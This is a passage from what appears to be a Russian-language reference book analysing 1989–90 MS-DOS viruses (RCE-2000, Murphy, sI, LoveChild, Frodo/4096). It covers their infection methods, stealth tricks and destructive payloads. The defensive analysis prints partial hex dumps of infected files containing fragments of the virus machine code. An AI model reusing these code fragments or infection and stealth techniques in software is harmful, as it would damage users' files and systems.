750: 060033DB53FF64F5 E800005E81EE6B00  ..3.S.d....^..k.
760: FC2E81BC05074D5A 740EFA8BE681C408  ......MZt.......
770: 08FB3B26060073CD 5006561E8BFE33C0  ..;&..s.P.V...3.
780: 508ED8C4064C002E 8984F4062E8C84F6  P....L..........
...  ..  ..  ..  ..   ..  ..  ..  ..    ..  ..  ..  ..
D50: 164F072E8C1E5107 33DB8EDBC7068400  .O....Q.3.......
D60: EE028C0E86005A5B 581FC35053B462E8  ......Z[X..PS.b.
D70: 72FD8CC8484B8EDB F9131E03003BD872  r...HK.......;.r
D80: F55B58C3A15B07BA 1000F7E2C3546869  .[X..[.......Thi
D90: 732070726F677261 6D20776173207772  s program was wr
DA0: 697474656E20696E 2074686520636974  itten in the cit
DB0: 79206F6620536F66 6961202843292031  y of Sofia (C) 1
DC0: 3938382D38392044 61726B204176656E  988-89 Dark Aven
DD0: 6765720080FC0375 0F80FA807305EAC8  ger....u....s...
DE0: 0EFD18EAC80EFD18 EAC80EFD18000121  ...............!
DF0: 0090909090909090                   ........

                      5.4.2. Вирус RCE-02000
               (V2000, Anti-Bontchev -- Анти-Бончев)

  Вирус RCE-2000  получил свое  название в связи с тем, что в теле
вируса содержатся две достаточно длинные текстовые строки:
  1. "Zopy me -- I want to travel" (в начале вируса, т.е. сразу по-
сле конца зараженной программы).
  2. "(c)  1989 by Vesselin Bontchev" (в конце тела вируса, т.е. в
последнем блоке зараженного файла).
  По некоторым  данным, вирус  вызывает зависание MS DOS при запу-
ске программм,  содержащих строку "(c) 1989 by Vesselin Bontchev."
В теле  вируса имеется  также строка  "Диана П." (в альтернативной
кодировке). Данный  вирус является  довольно сильно "доработанным"
штаммом RCE-1800  и  является  первым  попавшем  в  СССР  вирусом,
маскирующем  приращение   длины  зараженных   файлов.   Маскировка
основана на  том, что  вирус помечает зараженные файлы, проставляя
значение 62  с. в  дате создания  файла, как вирусы венской группы
(С-648)  и   при  считывании.  Контролируя  функции  MS  DOS  типа
FindFirst  и   FindNext,  используемые  при  просмотре  оглавления
командой DIR,  вирус вычитает  2000 из  значения поля  длины таких
элементов  оглавления,     тем  самым  маскируя  увеличение  длины
зараженных файлов.  Следует отметить,  что  оболочки  типа  Norton
Commander  самостоятельно  интерпретируют  содержимое  секторов  с
каталогами, не  используя указанных выше функций DOS. Для них этот
метод маскировки не действует.
  Помимо маскироки  увеличения длины  зараженных файлов, вирус ис-
пользуется ряд недокументированных прерываний, что позволяет обхо-
дить слежение за прерываниями 13 и 26. Зараженные COM-файлы увели-
чиваются в размере точно на 2000 байтов, причем дата их создания и
атрибуты остаются  неизменными. Заражение  выполняется однократно.
При заражении вирус дописывает свое тело в конец файла, вставляя в
первые три  байта команду  перехода на начало вируса. Выравнивание
на границу  параграфа для  COM-файлов не выполняется. Инфицируются
COM-файлы длиной от 1959 байтов.
  Заражение EXE-файлов  характерно тем,  что, несмотря  на то, что
вирус выполняет выравнивание всего тела на границу параграфа, при-
ращение искусственно  поддерживается постоянным и равным 2000 бай-
тов. Инфицируются EXE-файлы длиной больше 2000 байтов.
  Стадия проявления,  как и у вируса RCE-1800, состоит в уничтоже-
нии отдельных  секторов диска  (в них  записывается нулевой сектор
текущего диска).  Если на диске имеются файлы, иммунизированные от
вируса C-648,  и имеющие  длину менее  2000 байтов,  то для  таких
файлов вирус показывает "сумашедшее" значение длины.
   Исторические  замечания. Вирус обнаружен в Москве в апреле 1990
г. Автором вируса, по-видимому, является техно-крыса, скрывающаяся
под псевдонимом  Dark  Avenger.  Первым  данный  вирус  исследовал
Д.Н.Лозинский. Обработка  RCE-02000 включена  в AIDSTEST  в апреле
1990 г. (начиная с версии 29 от 18.04.90).
  Неформальные названия.  Полидетектор SCAN  называет данный вирус
"V2000". Кроме  приведенных в  заголовке, используют  еще название
Диана П. (в теле вируса содержится строка "Диана П.").
  Программные средства  защиты. Данный вирус детектируется полиде-
тектором SCAN.  Рекомендуемые фаги  приведены в  прил.1. Выявление
поврежденных вирусом  файлов можно выполнить с помощью глобального
контекстного поиска  по диску, обеспечиваемого, например, PCTools.
Любые действия  по анализу  содержимого  диска  следует  выполнять
только при условии предварительной загрузки операционной системы с
эталонной, защищенной по записи, дискеты.

               Фрагмент дампа программы DUMY2008.COM,
                   зараженной вирусом RCE-02000

000: E935089090909090 9090909090909090  .5..............
010: 9090909090909090 9090909090909090  ................
...  ..  ..  ..  ..   ..  ..  ..  ..    ..  ..  ..  ..
7D0: 909090909090C31A 5A6F7079206D6520  ........Zopy me
7E0: 2D20492077616E74 20746F2074726176  - I want to trav
7F0: 656C000090511381 C6B5078CC383C310  el...Q..........
800: 2E035C022E899C96 F82E8B1C2E899C94  ..\.............
810: F88CC383C3102E03 5C068ED32E8B6404  ........\.....d.
820: EA00000000BF0001 81C6BD07A4A58B26  ...............&
830: 060033DB53FF64F5 E800005E81EE6300  ..3.S.d....^..c.
840: FC2EF69489072E81 BCBD074D5A740EFA  ...........MZt..
850: 8BE681C4C008FB3B 26060073C8500656  .......;&..s.P.V
860: 1E8BFE33C0508ED8 C5164C00B430CD21  ...3.P....L..0.!
870: 2E8884120886C43D 1E03720CB413CD2F  .......=..r..../
880: 1E52B413CD2F5A1F 2E8994A7072E8C9C  .R.../Z.........
...  ..  ..  ..  ..   ..  ..  ..  ..    ..  ..  ..  ..
F00: 268B0E06002BFFBE 8907ACF2AE750D51  &....+.......u.Q
F10: 57B91100F3A65F59 75EDEBE4C6061308  W....._Yu.......
F20: 00EBC6E8AAFDB451 CD212BFF8BC74B13  .......Q.!+...K.
F30: D88EDB8B4503803D 5A72F43B7D0175A9  ....E..=Zr.;}.u.
F40: 438EC33D00107203 B80010B103D3E08B  C..=..r.........
F50: C8F3ABEB94286329 2031393839206279  .....(c) 1989 by
F60: 2056657373656C69 6E20426F6E746368   Vesselin Bontch
F70: 65762E0080FC0375 0F80FA807305EA59  ev.....u....s..Y
F80: EC00F0EA26AF00F0 EA75013E140001A3  ....&....u.>....
F90: 1490909090E90201 84A8A0ADA0208F2E  ............. ..
FA0: 00558BECFF76069D                   .U...v..

               5.5. Вирус RCE-1277 (Murphy -- Мерфи)

  Вирус RCE-1277  является очередным вирусом, разработанным в Бол-
гарии, и  получил свое  название в  связи с тем, что в теле вируса
содержатся достаточно длинные текстовые строки:

  Hello, I'm Murphy.
  Nice to meet you friend.
  I'm written since Nov/Dec.
  Copywrite (c)1989 by Lubo & Ian, Sofia, USM Laboratory.

  Формально вирус  RCE-1277 -- файловый резидентный вирус, поражаю-
щий как файлы типа СОМ, так и файлы типа EXE. Заражение происходит
как при  запуске программ на выполнение, так и при открытии файлов
(21-3В, 21-4B, 21-6C). Вирус дописывает свое тело в конец файла.
  Заражает командный  процессор, если  он не  имеет атрибута  READ
ONLY .  Пораженный COMMAND.COM имеет размер 27107 байтов (если его
первоначальный размер  был 25307 байтов). При этом не имеет значе-
ния, где  расположен командный  процессор. Это  связано с тем, что
вирус при  инсталляции затирает часть копии командного процессора.
В результате  он вызывается  с диска, в процессе чего и происходит
заражение. Файлы,  имеющие атрибут  READ ONLY,  вирус не заражает.
Проверка номера версии в теле вируса не выполняется. Тип файла оп-
ределяется вирусом правильно, независимо от используемого расшире-
ния. Зараженные  COM-файлы увеличиваются в размере на 1277 байтов,
причем дата их создания и атрибуты остаются неизменными. Заражение
выполняется однократно. При заражении вирус дописывает свое тело в
конец файла, вставляя в первые три байта команду перехода на нача-
ло вируса. Выравнивания на границу параграфа для COM-файлов не вы-
полняется. Инфицируются  COM-файлы длиной свыше 1277 (6Fh) байтов.
Заражение EXE-файлов  выполняется путем  дописывания тела вируса в
конец файла  без предварительного выравнивания тела на границу па-
раграфа.
  При выполнении  зараженной  программы  вирус  проверяет  наличие
своей копии в памяти и, если не находит, то становится резидентным
(используя манипуляции с MCB).
  Через некоторое  время после того, как вирус стал резидентным, в
динамике начинает  раздаваться довольно неприятный высокочастотный
свист частотой около 12 Кгц.
  В целом  вирус производит впечатление не до конца отлаженного. В
частности, при  попытке заражения защищенной от записи дискеты вы-
дается стандартное  сообщение "Abort, Retry т" Это связано с ошиб-
кой в  обработчике прерывания 24h. По мнению Д.Н.Лозинского, заме-
тен плагиат из RCE-1800, причем без достаточного понимания функций
копируемых фрагментов.
  Исторические  замечания.   Первое  зарубежное  описание  данного
вируса приведено  в списке  П.Хоффман. По-видимому, RCE-1277 имеет
болгарское  происхождение  и  написан  сравнительно  недавно  (но-
ябрь/декабрь 1989  г.?). В Киеве первым вирус обнаружил А.Л.Шехов-
цов (июнь  1990). Несколько  позднее он  был независимо  выявлен в
Москве.
  Неформальные названия.  Помимо приведенного в заголовке, неизве-
стны.
  Программные средства защиты. Детектирование возможно по приводи-
мым в  прил.1 сигнатурам. Из программ, распространяемых бесплатно,
в качестве  фага можно применять -V Е.Касперского или NEAFAG В.По-
номаренко.

      Фрагмент дампа дрозофилы, зараженной вирусом RCE-1277

000: E9FD079090909090 9090909090909090  ................
010: 9090909090909090 9090909090909090  ................
***   последующие строки идентичны предыдущей ***
7F0:  090909090909090 9090909090909090  ................
       +--- псевдоначало инсталлятора (первый переход)
    +-----+
800:|E97E039090909090 9090909090909090  .~..............
810: 9090909090909090 9090900000000060  ...............`
820: 00F1042100000004 00050EC32B5605E3  ...!........+V..
830: 287A0F70007A0F70 002048656C6C6F2C  (z.p.z.p. Hello,
840: 2049276D204D7572 7068792E204E6963   I'm Murphy. Nic
850: 6520746F206D6565 7420796F75206672  e to meet you fr
860: 69656E642E204927 6D20777269747465  iend. I'm writte
870: 6E2073696E636520 4E6F762F4465632E  n since Nov/Dec.
880: 20436F7079777269 7465202863293139   Copywrite (c)19
890: 3839206279204C75 626F20262049616E  89 by Lubo & Ian
8A0: 2C20536F6669612C 2055534D204C6162  , Sofia, USM Lab
8B0: 6F7261746F72792E 20E88F023D594B75  oratory. ...=YKu
8C0: 09558BEC836606FE 5DCF80FC4B74123D  .U...f..]...Kt.=
8D0: 003D740D3D006C75 0580FB007403E9A5  .=t.=.lu....t...
8E0: 00061E5756555251 5350E8C9013D006C  ...WVURQSP...=.l
8F0: 75028BD6B980008B F2468A040AC0E0F9  u........F......
900: 83EE02813C4F4D74 12813C58457403EB  ....<OMt..<XEt..
910: 6990817CFE2E4574 09EBF4817CFE2E43  i..|..Et....|..C
920: 75EDB8023DE88701 72508BD8B80057E8  u...=...rP....W.
930: 7D012E890E21012E 89162301B8004233  }....!....#...B3
940: C933D2E869010E1F BA03018BF2B91800  .3..i...........
950: B43FE85A01720E81 3C4D5A7505E82B00  .?.Z.r..<MZu..+.
...  ..  ..  ..  ..   ..  ..  ..  ..    ..  ..  ..  ..

       +------- J-сигнатура ----------+
       |                              |
B80: C31EE80000B8594B CD217203E928015E| ......YK.!r..(.^
B90: 568BFE33C0501FC4 064C002E8984ACFC  V..3.P...L......
BA0: 2E8C84AEFCC41E84 002E899DA4FC2E8C  ................
BB0: 85A6FCA102013D00 F07569B280A10601  ......=..ui.....
BC0: 3D00F0741C80FCC8 725A80FCF47355A8  =..t....rZ...sU.
BD0: 7F75518ED8813E00 0055AA75478A1602  .uQ...>..U.uG...
...  ..  ..  ..  ..   ..  ..  ..  ..    ..  ..  ..  ..
CB0: 8600FBFE0E7B045E 2E81BC7EFC4D5A75  .....{.^...~.MZu
CC0: 1D1F2E8B849AFC2E 8B9C98FC0E592BC8  .............Y+.
CD0: 03CB512EFFB496FC 1E07E895FECB582E  ..Q...........X.
CE0: 8B847EFC2EA30001 2E8B8480FC2EA302  ..~.............
CF0: 01B80001500E1F1E 07E876FEC3        ....P.....v..

         5.6. Группа "второй половины таблицы прерываний"

  Данная группа  включает два вируса, которые при заражении опера-
тивной памяти  размещают свое тело во второй половине таблицы пре-
рываний. Очевидно,  что такое размещение накладывает жесткие огра-
ничения на  размер вируса и выполняемые функции. Из-за ограничения
длины возможно  заражение только  одного типа  файлов (обычно типа
СОМ) с записью вируса в хвост файла.

                     5.6.1. Вирус RC-492 (sI)

  Неформальное название  sI связано  с тем,  что со смещением 3 от
начала  зараженной   программы  стоят  байты  "sI",  служащие  для
опознания вирусом  зараженных им программ. Формально, данный вирус
является резидентным  файловым вирусом,  заражающим COM-файлы  при
запуске их  на выполнение.  Код вируса содержит много ошибок и не-
точностей.   Длина вируса  492 байта  (1ECh). Вирус работоспособен
только на компьютерах серии AT. Это связано с наличием команд, от-
сутствующих в микропроцессоре 8088/8086.  Проверка версии MS DOS в
теле вируса  отсутствует. Зависимости  работоспособности вируса от
версии MS DOS не обнаружено.
  Стратегия заражения --  при запуске  файлов на  выполнение. Файлы
заражаются однократно.  При заражении  выполняется выравнивание на
границу параграфа.  Максимальная длина заражаемого файла не прове-
ряется, поэтому  вирус уничтожает файлы, длина которых после зара-
жения превысит 64К. Как уже указывалось, в качестве признака зара-
женности файла, вирус использует приведенную выше строку "sI". При
запуске зараженной программы вирус ищет в главном каталоге диска С
файл с  именем COMMAND.COM  и, если  он будет найден, пытается его
заразить.
  При заражении  RС-492 дописывается  в конец программы и одновре-
менно вставляет  в первые  три байта COM-файла команду перехода на
тело вируса.  При этом  размер файла  увеличивается на 492 + байты
выравнивания (в  качестве байтов  выравнивания вирус вставляет ну-
ли). Из-за  ошибки в теле вируса файлы с длиной, кратной 16, зара-
жаются с вставкой 16 нулей "для выравнивания". Дата создания файла
изменяется на  дату заражения до тех пор, пока количество запусков
с момента заражения не станет равным 256. Длина исходной программы
вирусом не сохраняется. Атрибуты файла не проверяются, поэтому ви-
рус не заражает файлы с атрибутами READ-ONLY. Вирус RC-492 не про-
веряет, находится заражаемая программа (которая загружается на вы-
полнение) на  защищенной дискете или нет, и пытается выполнить за-
пись на защищенную от записи дискету. При этом операционная систе-
ма выдает сообщение:

  Write protect error writing device <лог.имя.устр.>
  Abort, Retry, Ignore, Fail?

  Вирус использует  "гибридную"  стратегию  заражения,  в  которой
сочетаются методы,  характерные для      нерезидентного  вируса  с
методами, характерными  для резидентного  вируса. Как  уже отмеча-
лось, получив  управление, вирус  сначала пытается  заразить  файл
COMMAND.COM в  корневом каталоге -- стратегия, характерная в основ-
ном для нерезидентных вирусов. Вместе с тем, став резидентным, ви-
рус перехватывает  прерывание 1С  и 21 и заражает программы, запу-
скаемые на выполнение.
  Отличительной особенностью  данного вируса  является то,  что  в
оперативной памяти его тело располагается в области второй полови-
ны векторов  прерываний (0000:200h -- 0000:03FFh). Это может приво-
дить к  зависанию компьютера  при инсталляции вируса, если к этому
моменту одна  из резидентных  программ использует  какой-нибудь из
затираемых векторов прерываний.
  При запуске  зараженной программы RС-492 сначала проверяет с по-
мощью прерывания  21-35, имеется  ли уже резидентная копия данного
вируса (по  значению адреса обработчика прерывания 1С). Если усло-
вие зараженности  оперативной памяти  выполнено, то вирус передает
управление зараженной  программе, в противном случае он приступает
к поиску и заражению COMMAND.COM в главном каталоге диска С. Затем
вирус становится резидентным и перехватывает прерывания 1Ch и 21h.
В результате  при запуске  любой программы вирус получает управле-
ние, проверяет,  является ли  запускаемая программа  зараженной, и
если нет,  то заражает  данную программу  на диске.  У зараженного
файла изменены  значения первых  6 байтов (организуется переход на
начало тела и признак зараженности файла).
  Фаза проявления  данного вируса  в настоящее  время еще не ясна.
Есть основания  считать, что  прерывание 1Ch  используется вирусом
для выбора  момента уничтожения  информации в выбираемых случайным
образом последовательных  секторах диска  С (похоже,  записывается
четное число  секторов -- 2,4,6).  В указанные сектора записывается
информация из  оперативной памяти компьютера. По мнению Д.Н.Лозин-
ского, есть  надежда, что  данный фрагмент содержит ошибку и такой
момент никогда  не наступает.  Код вируса  RC-492 не содержит при-
емов, затрудняющих дизассемблирование и анализ программы.
  Исторические замечания. Данный вирус появился в СССР в июле 1990
г. Впервые  был выделен автором в ВЦ АН СССР (Moсква) 19 июля 1990
г. и,  независимо, Д.Н.Лозинским.  B Киеве  не отмечался.  Первыми
фагами для  данного вируса  были -V (Е. Касперского) и NEATFAG (В.
Пономарентко).
  Неформальные названия.  sI (строка "sI" расположена со смещением
3 от начала зараженной программы)
  Программные средства  защиты.   Доступные  версии  полидетектора
SCAN (до  66, включительно) данный вирус не обнаруживают. Фаги см.
прил.1. При использовании системы управления доступом к винчестеру
(Disk Manager,  Advanced Disk Manager и т.д.) вирус не в состоянии
попасть в  разделы винчестера,  для которых установлен статус READ
ONLY. Однако  при этом становится невозможным вызов программ с за-
щищенной дискеты  или раздела винчестера. Специальные средства за-
щиты от  данного вируса принципиально могут включать детектор, фаг
для резидентной  части, резидентный и пакетный фаги для зараженных
файлов и активную (резидентную) вакцину.

               Фрагмент дампа программы DUMY16.COM,
                    зараженной вирусом RC-492

000: E91D007349FF9090 90909090909090C3  ...sI...........
010: 0000000000000000 0000000000000000  ................
020: 2E8B1E010183C303 B104D3EB8CD803C3  ................
030: 8ED82EA1B001A38C 02BE6F01BF0001FC  ..........o.....
040: B90600F3A4B81C35 CD2181FB45027508  .......5.!..E.u.
050: 0E0E1F07680001C3 B810008EC0B90002  ....h...........
060: BF00018BF7F3A406 1EBA7501E835001F  ..........u..5..
070: B81C25BA4502CD21 B82135CD21891E8E  ..%.E..!.!5.!...
080: 028C069002BA9202 B82125CD21EBC190  .........!%.!...
090: 9090909090433A5C 434F4D4D414E442E  .....C:\COMMAND.
0A0: 434F4D00B43DB002 CD215B1F537303E9  COM..=...![.Ss..
0B0: 91008BD8B43FB906 00BA6F01CD21727F  .....?....o..!r.
0C0: 813E720173497455 813E6F014D5A746F  .>r.sItU.>o.MZto
0D0: B80242B90000BA00 00CD2172628BC883  ..B.......!rb...
0E0: C90F83E902890E25 0283C1032BC8BA2A  .......%....+..*
0F0: 02B440CD217248B4 40B9EC01BA0001CD  ..@.!rH.@.......
100: 21CC3CB80042B900 00BA0000CD21722F  !.<..B.......!r/
...  ..  ..  ..  ..   ..  ..  ..  ..    ..  ..  ..  ..
1E0: 040083EF018BF7BF 8301ACE86CFFAE74  ............l..t
1F0: 03EB0B90E2F41F5A 521E0EE8A6FE1F5A  .......ZR......Z
200: 075D5F5E595B582E FF2E8E02          .]_^Y[X.....

                       5.6.2. Вирус RC-488
        (Flu-2 -- Грипп-2, LoveChild -- Внебрачный ребенок)

  Неформальное название  данного вируса  связано с тем, что в теле
вируса  имеются  текстовые  строки  "v2 (c)  Flu  Systems  (R)"  и
"LoveChild in reward for software sealing". Формально RC-488 явля-
ется файловым резидентным вирусом, заражающим COM-файлы. Длина ви-
руса 488 (1E8h) байтов совпадает с приращением при заражении. Фай-
лы заражаются однократно. Командный процессор заражается как обыч-
ный COM-файл.
  При заражении  COM-файлов вирус дописывает себя в конец, изменяя
первые четыре  байта. Файлы  заражаются при  их загрузке в память,
при открытии и создании (21-3C, 21-3D, 21-4B и 21-5B). При зараже-
нии длина файлов не проверяется.
  При инсталляции  записывает свое тело во вторую половину таблицы
векторов прерываний, начиная с адреса 0000:01E0h. Проверяет версию
операционной cистемы.  Для версии  3.3 умеет определять "истинные"
адреса 21 и 13 прерываний. Для получения управления по 21 прерыва-
нию использует сплайсинг. Обработка 13 прерывания сводится к заме-
не адреса его обработчика на первоначальное значение, что "отруба-
ет" сторожа, следящие за этим прерыванием, как, впрочем, и драйве-
ры типа 800, обеспечивающие нестандартные форматы записи на диске-
ты.
  Фаза проявления  наступает при  определенных значениях  счетчика
времени. При этом вирус либо уничтожает файлы, либо создает вместо
файла подкаталог  с таким же именем. Кроме того, вирус может моди-
фицировать COM-файлы таким образом, что их запуск вызовет стирание
секторов винчестера  (стирается вся  информация, расположенная  на
всех секторах, соответствующих 0-3 головкам записи/чтения).
  Исторические замечания.  Судя по текстовым строкам, RC-488 имеет
зарубежное происхождение,  однако в доступной автору версии списка
П.Хоффман, датированном 10.10.90, описание этого вируса отсутству-
ет. В   СССР появился примерно в августе  1990 г. Автору был пере-
дан Е.Касперским. B Киеве не отмечался.
  Неформальные названия. Помимо приведенных выше, неизвестны.
  Программные средства  защиты. Полифаг Aidstest, начиная с версии
45. Детектирование возможно по сигнатурам, приведенным в прил.1.

       Фрагмент дампа дрозофилы, зараженной вирусом RC-488

000: FBE9F200B402B207 CD21CD2000000000   .........!. ....
010: 0000000000000000 0000000000000000   ................
***  далее следуют строки, идентичные предыдущей ***
0E0: 7632202863292046 6C75205379737465   v2 (c) Flu Syste
0F0: 6D732028522933C0 8EC0E800005E8BEE   ms (R)3......^..
100: BFE001FC26813D76 32744881EE1D00B9   ....&.=v2tH.....
110: E801F3A4B430CD21 3D031E7527BE7000   .....0.!=..u'.p.
120: 8EDEBEB400BF4C00 A5A5B80312CD2F26   ......L......./&
130: 8C1EC803BE6014C6 04EA8C4403C74401   .....`.....D..D.
140: CD02EB0F061FBE84 00A5A58C44FEC744   ............D..D
150: FCCD028CC88EC08E D8BF00018BF581C6   ................
160: 6E00A5A533C083EF 04FFE790909090FB   n...3...........
170: E90000B003CFB901 00BA80038BD9B810   ................
180: 03CD13FECE79F7B6 03FEC5EBF14C6F76   .....y.......Lov
190: 654368696C642069 6E20726577617264   eChild in reward
1A0: 20666F7220736F66 7477617265207365    for software se
1B0: 616C696E672E2EF6 066C0407750A1F5A   aling....l..u..Z
1C0: 595B58B441E9FD00 E9EE0088132EFF0E   Y[X.A...........
1D0: CB027803E9EE002E FF06CB0280FC4075   ..x...........@u
1E0: 24578BFA813D4D5A 751A2EF6066C0406   $W...=MZu....l..
...   .. .. .. .. .. .. .. .. .. .. .. ..  .. .. .. .. ..
2B0: B440CD215BB43ECD 212EC706CB02FFFF   .@.![.>.!.......
2C0: 1F5A595B58EA6714 0000               .ZY[X.g...

                    5.7. Группа стелс-вирусов

                            "ВВС США впервые использовали в боевых
                             условиях свой секретный истребитель-
                             бомбардировщик F-117A "Стелс". Новый
                             самолет, "невидимый" для радаров,
                             участвовал в бомбардировке в Панаме
                             перед высадкой там в среду американ-
                             ских войск."
                                          ТАСС, 24 декабря 1989 г.

  Как и  другие продукты  человеческой деятельности,  компьютерные
вирусы претерпевают  определенную эволюцию, которая в значительной
степени облегчается  тем, что в течении значительного отрезка вре-
мени среда  их размножения  (MS DOS) остается практически неизмен-
ной. Если попытаться квантовать наблюдаемые непрерывные эволюцион-
ные изменения,  то можно  говорить о поколениях компьютерных виру-
сов.
  Понятие поколения  компьютерного вируса  связано, в  основном, с
механизмом размножения и методами маскировки. Наблюдаемый cейчас в
ряде публикаций  акцент на проявлениях того или иного вируса явля-
ется неверным: по сути вирус можно разделить на две достаточно не-
зависимые части:  компоненту размножения  и компоненту проявления.
При этом именно характеристики компоненты размножения являются ос-
новными и  определяют место конкретного вируса "в эволюционной це-
почке". В  то же  время популярная  пресса акцентирует внимание на
компоненте проявления, что видно хотя бы из распространенности не-
формальных названий  типа Тринадцатая пятница, День Колумба, Воск-
ресенье, Пинг-Понг  и т.д.  Если провести  аналогию с авиацией, то
компонента размножения соответствует самому летательному аппарату,
а компонента  проявления -- полезной нагрузке. Очевидно, что один и
тот же самолет может доставлять и бомбы и листовки.
  Компонента размножения  должна обеспечить  две основные функции:
получить управление с тем, чтобы обеспечить репликацию вируса; из-
бежать обнаружения, чтобы выжить и выполнить предыдущий пункт.

  Важность этих двух функций изменяется в ходе эволюции. На первом
этапе эволюции вирусов основной является репликация. При этом воп-
росам маскировки либо вообще не уделялось внимание, либо они носи-
ли несистематический  характер и были направлены на маскировку од-
ного или  двух изменений,  возникающих в  зараженной программе или
системе. Этому этапу эволюции соответствует первое поколение виру-
сов -- вирусы, не рассчитанные на преодоление антивирусных средств.
  С распространением антивирусных средств вопросы маскировки стали
основными, и вирусу для того, чтобы выжить, важно как можно дольше
остаться незамеченным.  В связи  с этим основные усилия при разра-
ботке стали направляться именно на маскировку. В результате маски-
ровка приобрела комплексный характер и соответствующие вирусы мож-
но условно относить к новому поколению вирусов, получившему назва-
ние стелс-вирусов.  Действия по маскировке можно условно классифи-
цировать на следующие категории: a  (automodification) -- автомоди-
фикация инсталлятора  с целью  затруднить обнаружение детекторами,
основанными на  контекстном поиске;  с (cipher) --  шифровка  части
программы,  исключая   часть   инсталлятора;   d    (antiDebugging
tricks) -- защита  от трассировки;  e  (enter  point) --  сохранение
точки входа  в EXE-программах;  f (fag) -- самоизлечивается при по-
пытке  просмотра  зараженной  программы  при  резидентном  вирусе;
h (hook) -- не обнаруживается сторожами типа FluShot+, контролирую-
щими состояние  векторов прерывания;  i (increment) --  имплантация
тела в  программу без увеличения размеров файла; j (jump) -- cохра-
нение первого перехода в COM-файлах; l  (length) -- маскировка уве-
личения длины зараженных файлов, путем подмены значения соответст-
вующего  поля   элемента  оглавления  при  операциях  FindFirst  и
FindNext (21-11h  и 21-12h) с предварительным вычитанием длины ви-
руса (при  этом утилиты,  которые не  используют указанные функции
DOS,  работая   с  каталогами   непосредственно  (например  Norton
Commander), будут  показывать увеличенную  длину, а  команда DIR --
уменьшенную); m (memory  map) -- не обнаруживается системными сред-
ствами просмотра  списка резидентных  программ; о (overlay) -- сег-
ментация  тела   вируса  на   несколько  подгружаемых   частей;  р
(polyinfection) --  заражение как файлов, так и исполняемых систем-
ных блоков (бутсектор, MBR); r  (redirection) -- перехват и модифи-
кация дисковых  операций с  целью скрыть  изменения в  исполняемых
блоках (бутсектор, MBR); s (space) -- корректировка резидентным ви-
русом общего  объема свободной  памяти на диске с целью скрыть его
изменение в результате заражения вирусом программ; t (text) -- шиф-
ровка текстовых сообщений.
  Здесь приведены  только приемы,  которые уже были использованы в
том или ином существующем вирусе, однако могут существовать и дру-
гие эффективные  приемы маскировки. Конечно, граница между указан-
ными двумя поколениями условна и некоторые исследователи относят к
стелс-вирусам любой  вирус, который использует хотя бы два из при-
веденных выше  методов маскировки.  Автору кажется,  что  критерий
должен быть  несколько жестче.  Ниже приведены описания двух виру-
сов, которые, по мнению автора, можно отнести к новому поколению.

              5.7.1. RCE-04096 (Frodo -- Фродо, 4096)

  Данный вирус принято считать первым стелс-вирусом. RCE-04096 был
разработан, по-видимому,  в Израиле в конце 1989 г. Название "Фро-
до" связано с тем, что вирус содержит бутсектор в своем коде, хотя
он никогда  не записывает  свое тело в бутсектор. При записи этого
бутсектора в  бутсектор дискеты  и попытке загрузки выдается "пла-
катный текст"
                             FRODO
                             LIVES
("Фродо  живет"   или  "Фродо   жив"),  выполненный  буквами  8*5,
состоящими из символов псевдографики. По данным П.Хоффман, 22 сен-
тября  это  день  рождения  героев  известной  сказочной  трилогии
Дж.Р.Толкиена  Властелин  колец" (Lord  Of The  Rings) -- Бильбо  и
Фродо Баггинов (Bilbo and Frodo Baggin) [Толкиен83].
  Формально данный вирус относится к файловым резидентным вирусам.
Заражает как  COM-, так  и EXE-файлы (включая оверлеи) при запуске
на выполнение  или закрытии файла (функции 21-4B или 21-3E). Файлы
заражаются однократно.  В качестве признака заражения используется
значение поля  года даты создания файла. Для зараженных файлов ви-
рус изменяет  поле года создания файла, увеличивая его на сто, на-
пример с  1990 до 2090. В дальнейшем это значение используется для
определения зараженности  файла. Возможно заражение файлов, содер-
жащих данные.  Приращение длины  при заражении  всегда равно  4096
байт, что объясняет такие неформальные названия, как 4096 и 4K.
  Заражает COM-файлы  длиной до  61440 (F000h) байт. При заражении
изменяет первые  шесть байт файла. Выполняется выравнивание до па-
раграфа. При  этом приращение  длины файла  равно ровно 4096 байт.
Командный процессор заражается как обычный COM-файл.
  Заражаемые EXE-файлы  могут иметь любую длину. При заражении из-
меняется заголовок.  Тело вируса дописывается в хвост файла. Длина
зараженного EXE-файла увеличивается ровно на 4096 байт.
  При инсталляции находит по COMSPEC и заражает COMMAND.COM. Затем
загружает себя в старшие адреса памяти, уменьшая размер на 6К. При
этом, возможно,  каким-то образом  маскирует уменьшение  системной
памяти на  6К. Для определения положения обработчиков 13 и 21 пре-
рываний вирус  проходит при инсталляции соответствующую часть кода
с флагом  трассировки (как музыкальные самоеды). Для получения уп-
равления по  21 прерыванию  вирус использует сплайсинг ("врезку" в
обработчик прерывания).  Это первый  вирус, использующий сплайсинг
для получения управления по прерыванию 21.
  Тело вируса  располагается в  оперативной памяти в старших адре-
сах. Память  резервируется путем  манипуляций с  MCB. В дальнейшем
положение тела  может измениться:  вирус способен  перемещать свое
тело в  область младших адресов. RCE-04096 обрабатывает порядка 20
(двадцати !)  функций MS  DOS (Create,  FindFirst, FindNext, Read,
Write, Lseek, Open, Close, Exec и некоторые другие).
  При наличии  вируса в  оперативной памяти приращение длины зара-
женных файлов  маскируется и не видно при просмотре оглавления ко-
мандой DIR.  Этот эффект обеспечен за счет перехвата операций, ис-
пользуемых командой  DIR для считывания элементов каталога и вычи-
тания 4К из длины зараженных файлов. Первым такой метод маскировки
был использован в  вирусе RCE-02000. Более того RCE-04096 маскиру-
ет и изменение заголовка.
  Любая попытка доступа к зараженному файлу, за исключением выпол-
нения на  зараженной машине  ведет к  "выкусыванию" тела вируса из
зараженного файла.  Например, при чтении зараженного файла или за-
грузке его в память, вирус "подставляет" файл в незараженном виде.
При открытии  файла для записи вирус "выкусывает" свое тело из за-
раженного файла  (поскольку запись в файл может повредить тело ви-
руса или  "загнать" его  в середину файла), а затем снова заражает
при закрытии.
  Описанный механизм обеспечивает обход детектирования заражения с
помощью ревизоров. Таким образом, данный вирус является первым ви-
русом, обходящим  данный класс антивирусных программ. Если при ко-
пировании выполняемого  файла создается файл с расширением, не ис-
пользуемым для  исполняемых файлов (COM, EXE, BIN, SYS и т.д.), то
вирус "выкусывает" свое тело при копировании.
  При кодировании  вируса использованы  достаточно сложные приемы,
затрудняющие трассировку.  Из-за ошибки  при кодировании вирус по-
вреждает некоторые  файлы при заражении: после заражения не обнов-
ляет информацию в заголовке файла. При запуске таких файлов MS DOS
выдает диагностическое  сообщение "ERROR  in EXE  File". Такие по-
вреждения можно устранить запустив CHKDSK/F, а затем соответствую-

